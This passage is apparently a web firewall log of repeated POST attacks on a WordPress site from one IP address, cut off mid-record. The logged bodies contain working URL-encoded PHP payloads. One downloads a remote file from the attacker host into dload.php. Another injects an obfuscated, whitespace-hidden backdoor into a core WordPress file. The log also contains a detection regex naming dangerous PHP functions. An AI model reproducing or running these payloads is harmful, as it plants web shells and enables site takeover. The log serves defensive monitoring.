3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHItvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:168\n\nQX=%3C%3Fphp%20%20file_put_contents%28%27dload.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/cNTFlksNjg%27%29%29%3B"]
["2026-05-12 17:39:36","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoSpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4433\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\n\nlW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:39:38","213.209.159.254","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrHHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua-mobile:?1\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Android\"\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4433\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\n\nyE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:39:39","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Oh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG2tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4433\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\n\nOh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%